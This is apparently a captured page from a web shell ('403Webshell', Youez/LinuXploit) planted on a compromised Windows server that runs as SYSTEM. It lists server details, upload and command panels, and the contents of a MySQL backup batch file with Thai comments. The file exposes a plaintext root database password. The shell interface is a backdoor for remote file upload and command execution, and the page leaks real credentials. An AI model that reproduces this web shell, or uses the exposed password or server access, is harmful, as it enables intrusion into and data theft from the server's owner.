403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/backup_all_dbs.bat
@echo off
setlocal enabledelayedexpansion

:: ==============================================================================
::                  การตั้งค่า (กรุณาแก้ไขข้อมูลให้ถูกต้อง)
:: ==============================================================================

:: ข้อมูลการเชื่อมต่อ MySQL
set MYSQL_USER=root
set MYSQL_PASSWORD=P@ssw0rdMySQL0
set MYSQL_HOST=localhost
set MYSQL_PORT=3306

:: Path ไปยังโฟลเดอร์ bin ของ MySQL (กรุณาแก้ไขให้ตรงกับ Path ของคุณ)
set MYSQL_BIN_PATH=E:\Inetpub\MySQL\bin

:: โฟลเดอร์หลักสำหรับเก็บไฟล์ Backup
set BASE_BACKUP_DIR=E:\dumbDB

:: จำนวนวันที่ต้องการเก็บ Backup (ไฟล์ที่เก่ากว่านี้จะถูกลบ)
set RETAIN_DAYS=3

:: ==============================================================================
::                  ไม่จำเป็นต้องแก้ไขโค้ดด้านล่างนี้
:: ==============================================================================

:: เพิ่มการตรวจสอบ: ตรวจสอบว่า Path ของ MySQL Tools ถูกต้องหรือไม่
if not exist "%MYSQL_BIN_PATH%\mysql.exe" (
    echo ERROR: mysql.exe not found at "%MYSQL_BIN_PATH%". Please check MYSQL_BIN_PATH setting.
    exit /b 1
)
if not exist "%MYSQL_BIN_PATH%\mysqldump.exe" (
    echo ERROR: mysqldump.exe not found at "%MYSQL_BIN_PATH%". Please check MYSQL_BIN_PATH setting.
    exit /b 1
)

:: สร้างชื่อโฟลเดอร์สำหรับ Backup ปัจจุบัน (YYYY-MM-DD_HH-MM-SS)
for /f "tokens=1-4 delims=/ " %%a in ('date /t') do (set CURRENT_DATE=%%c-%%a-%%b)
for /f "tokens=1-3 delims=:." %%a in ('time /t') do (set CURRENT_TIME=%%a-%%b-%%c)
set BACKUP_DIR_NAME=%CURRENT_DATE%_%CURRENT_TIME%

set FULL_BACKUP_PATH=%BASE_BACKUP_DIR%\%BACKUP_DIR_NAME%

echo.
echo ======================================================
echo Starting MySQL Backup & Cleanup Script
echo Timestamp: %CURRENT_DATE% %CURRENT_TIME%
echo ======================================================
echo.

:: ตรวจสอบและสร้างโฟลเดอร์ Backup ปัจจุบัน ถ้ายังไม่มี
if not exist "%FULL_BACKUP_PATH%" (
    mkdir "%FULL_BACKUP_PATH%"
    echo Created current backup directory: "%FULL_BACKUP_PATH%"
) else (
    echo Backup directory already exists: "%FULL_BACKUP_PATH%"
)
echo.

:: ==============================================================================
::                  ดึงรายชื่อฐานข้อมูลและทำการ Backup
:: ==============================================================================
echo Backing up databases...
echo.

:: *** แก้ไขตรงนี้: เขียนรายชื่อฐานข้อมูลลงไฟล์ชั่วคราวก่อน ***
set TEMP_DB_LIST_FILE=%TEMP%\mysql_db_list.tmp

:: รัน mysql command และส่ง output ไปยังไฟล์ชั่วคราว
"%MYSQL_BIN_PATH%\mysql.exe" -u%MYSQL_USER% -p%MYSQL_PASSWORD% -h%MYSQL_HOST% -P%MYSQL_PORT% -e "SHOW DATABASES;" > "%TEMP_DB_LIST_FILE%" 2>&1

:: ตรวจสอบว่าคำสั่ง mysql รันสำเร็จหรือไม่
if !ERRORLEVEL! NEQ 0 (
    echo ERROR: Failed to get database list from MySQL. Check password or connection.
    type "%TEMP_DB_LIST_FILE%" :: แสดงข้อความ error จาก mysql command
    del "%TEMP_DB_LIST_FILE%"
    exit /b 1
)

:: อ่านรายชื่อฐานข้อมูลจากไฟล์ชั่วคราวและทำการ Backup
:: ใช้ "usebackq" และ double quotes เพื่ออ่านไฟล์อย่างปลอดภัย
for /f "usebackq skip=1 delims=" %%d in ("%TEMP_DB_LIST_FILE%") do (
    set "DB_NAME=%%d"
    
    :: กรองฐานข้อมูลระบบและบรรทัดว่างเปล่าอีกครั้ง
    echo !DB_NAME! | findstr /v /i "information_schema performance_schema mysql sys" >nul
    if !ERRORLEVEL! EQU 0 (
        if not "!DB_NAME!"=="" (
            echo   - Backing up: !DB_NAME!
"%MYSQL_BIN_PATH%\mysqldump.exe" -u%MYSQL_USER% -p%MYSQL_PASSWORD% -h%MYSQL_HOST% -P%MYSQL_PORT% --single-transaction --routines --triggers --events !DB_NAME! > "%FULL_BACKUP_PATH%\!DB_NAME!.sql"
if !ERRORLEVEL! NEQ 0 (
                echo     ERROR: Failed to backup !DB_NAME!
            ) else (
                echo     Successfully backed up !DB_NAME!
            )
        )
    )
)

:: ลบไฟล์ชั่วคราว
if exist "%TEMP_DB_LIST_FILE%" del "%TEMP_DB_LIST_FILE%"

echo.
echo All database backups for this run completed.
echo.

:: ==============================================================================
::                  การลบไฟล์ Backup เก่า (Old Backup Cleanup)
:: ==============================================================================

echo Starting old backup cleanup...
echo Retaining backups for the last %RETAIN_DAYS% days.
echo.

for /d %%i in ("%BASE_BACKUP_DIR%\*") do (
    set "FOLDER_DATE_TIME=%%~ni"
    echo !FOLDER_DATE_TIME! | findstr /r /c:"^[0-9][0-9][0-9][0-9]-[0-1][0-9]-[0-3][0-9]_[0-2][0-9]-[0-5][0-9]-[0-5][0-9]$" >nul
    if not errorlevel 1 (
        set "FOLDER_DATE=!FOLDER_DATE_TIME:~0,10!"
        
        set "folderPath=%%i"
        set "folderName=%%~ni"
        
        echo Checking folder for cleanup: !folderName!
        powershell -command "$folderPath = '%folderPath%'; $folderName = '%folderName%'; $retainDays = %RETAIN_DAYS%; " ^
        "$folderDateTime = [datetime]::ParseExact($folderName, 'yyyy-MM-dd_HH-mm-ss', [System.Globalization.CultureInfo]::InvariantCulture);" ^
        "$cutoffDate = (Get-Date).AddDays(-$retainDays);" ^
        "if ($folderDateTime -lt $cutoffDate) {" ^
        "  Write-Host '   - Deleting old backup folder: ' $folderPath;" ^
        "  Remove-Item -Path $folderPath -Recurse -Force -ErrorAction SilentlyContinue;" ^
        "}"
        if !ERRORLEVEL! NEQ 0 (
            echo     ERROR during cleanup of !folderName!
        )
    )
)

echo.
echo Cleanup process completed.
echo.

echo Script finished.
endlocal

Youez - 2016 - github.com/yon3zu
LinuXploit